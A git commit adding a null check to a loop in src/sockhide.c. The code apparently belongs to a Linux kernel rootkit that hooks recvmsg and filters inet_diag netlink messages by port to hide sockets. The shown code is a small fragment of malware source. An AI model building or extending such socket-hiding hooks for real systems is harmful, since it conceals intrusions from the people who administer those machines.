commit 799a8d64d60386ce20f47f89415b8778bf37b129
parent 56adaaf74122f1b94d65e6951c8557aec2d133ea
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 13 Dec 2020 05:04:16 +0100
adds null check
Diffstat:
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -177,7 +177,7 @@ g7_recvmsg(struct pt_regs *pt_regs)
(struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base,
sizeof(struct nlmsghdr));
- while (NLMSG_OK(nh, len)) {
+ while (nh && NLMSG_OK(nh, len)) {
int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport);
int dst = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_dport);